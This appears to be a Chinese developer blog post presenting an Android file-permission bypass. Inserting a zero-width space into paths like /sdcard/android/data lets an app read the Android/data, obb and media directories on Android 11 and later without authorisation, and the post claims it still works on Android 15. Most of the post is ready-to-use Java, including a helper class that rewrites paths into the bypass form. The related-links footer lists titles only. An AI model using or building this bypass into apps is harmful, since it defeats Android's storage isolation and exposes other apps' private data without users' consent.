Android无需授权直接访问Android/data目录漏洞

从android11开始,访问/sdcard/Android/data目录需要URI授权,而从更高的版本开始甚至URI权限也被收回,返回"无法使用此文件夹"的提示,这里提供一种方法,可以越权强制访问data目录,当然也包括obb、media等目录,方法就是利用andoird文件提权漏洞。

漏洞原理:利用\u200b这个unicode字符构造一个文件别名,但实际指向的仍然是目标文件,由于这个字符是零宽度,所以系统会将其不可见字符过滤掉,判断为合规文件,从而绕过系统媒体权限

验证机制,实现了像常规访问文件一样访问data目录,目前这个bug在android15下实测仍然有效。

java 复制代码
//获取Android/data下的所有文件
File dataDir = new File("/sdcard/android/\u200bdata");
File[] files = dataDir.listFiles();
java 复制代码
if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) {
	//如果没有存储权限,先去申请
	return;
}

File dataDir = new File("/sdcard/android/\u200bdata");

if (dataDir.canRead()) {
	//存在漏洞,直接访问其中的文件
}
java 复制代码
import android.os.Build;
import android.os.Environment;
import java.io.File;
import java.io.IOException;

public class FileHelper {

    /**
     * 是否存在该漏洞,判断前要先获取存储权限
     *
     * @return
     */
    public static boolean canAccessDataDir() {
        if (Build.VERSION.SDK_INT < 30) {
            //android10及以下
            return new File("/sdcard/android/data").canRead();
        } else {
            File dataDir = new File("/sdcard/android/\u200bdata");
            return dataDir.canRead();
        }
    }

    /**
     * 是否是/sdcard/android目录
     *
     * @param dir
     * @return
     */
    public static boolean isAndroidDir(File dir) {
        File rootDir = Environment.getExternalStorageDirectory();
        if (rootDir == null) return false;
        try {
            File canFile = dir.getCanonicalFile();
            if (canFile.getPath().toLowerCase().equals(rootDir.getPath().toLowerCase() + "/android")) {
                return true;
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        return false;
    }

    private static String getAndroidPath() {
        File rootDir = Environment.getExternalStorageDirectory();
        if (rootDir == null) {
            return null;
        }
        return rootDir.getPath() + "/Android/";
    }

    /**
     * 获取android目录子文件
     *
     * @param file
     * @return
     */
    public static File getReviseFromAndroid(File file) {
        return new File(file.getParentFile(), "\u200b" + file.getName());
    }

    /**
     * 获取修正过的文件
     *
     * @param file
     * @return
     */
    public static File getReviseFile(File file) {
        if (Build.VERSION.SDK_INT < 30) return file;
        if (file == null) {
            return null;
        }
        String androidPath = getAndroidPath();
        if (androidPath != null) {
            String canPath = getCanonicalPath(file);
            //Log.i("WALX_SPY", canPath + ", " + androidPath);
            if (canPath.length() > androidPath.length() && canPath.toLowerCase().startsWith(androidPath.toLowerCase())) {
                return new File(androidPath + "\u200b" + canPath.substring(androidPath.length()));
            }
        }
        return file;
    }

    private static String getCanonicalPath(File file) {
        //file.getCanonicalPath(); //不能直接使用
        if (file == null) return null;
        String path = null;
        try {
            path = file.getCanonicalPath();
        } catch (IOException e) {
            e.printStackTrace();
        }
        final String sdcard = "/sdcard/";
        if (path == null) path = file.getAbsolutePath();
        if (path.length() > sdcard.length() && path.toLowerCase().startsWith(sdcard)) {
            String androidPath = getAndroidPath();
            if (androidPath != null) {
                path = androidPath + path.substring(sdcard.length());
            }
        }
        return path;
    }

    /**
     * 获取修正过的文件
     *
     * @param path
     * @return
     */
    public static File getReviseFile(String path) {
        return path == null ? null : getReviseFile(new File(path));
    }

    /**
     * 获取修正过的路径
     *
     * @param path
     * @return
     */
    public static String getRevisePath(String path) {
        File file = getReviseFile(path);
        return file == null ? null : file.getAbsolutePath();
    }
}
相关推荐
工程师老罗6 小时前
如何在Android工程中配置NDK版本
android
Hello.Reader7 小时前
Flink ZooKeeper HA 实战原理、必配项、Kerberos、安全与稳定性调优
安全·zookeeper·flink
智驱力人工智能8 小时前
小区高空抛物AI实时预警方案 筑牢社区头顶安全的实践 高空抛物检测 高空抛物监控安装教程 高空抛物误报率优化方案 高空抛物监控案例分享
人工智能·深度学习·opencv·算法·安全·yolo·边缘计算
数据与后端架构提升之路8 小时前
论系统安全架构设计及其应用(基于AI大模型项目)
人工智能·安全·系统安全
Libraeking10 小时前
破壁行动:在旧项目中丝滑嵌入 Compose(混合开发实战)
android·经验分享·android jetpack
市场部需要一个软件开发岗位10 小时前
JAVA开发常见安全问题:Cookie 中明文存储用户名、密码
android·java·安全
lingggggaaaa10 小时前
安全工具篇&动态绕过&DumpLsass凭据&Certutil下载&变异替换&打乱源头特征
学习·安全·web安全·免杀对抗
凯子坚持 c10 小时前
CANN-LLM:基于昇腾 CANN 的高性能、全功能 LLM 推理引擎
人工智能·安全
QT.qtqtqtqtqt11 小时前
未授权访问漏洞
网络·安全·web安全
JMchen12312 小时前
Android后台服务与网络保活:WorkManager的实战应用
android·java·网络·kotlin·php·android-studio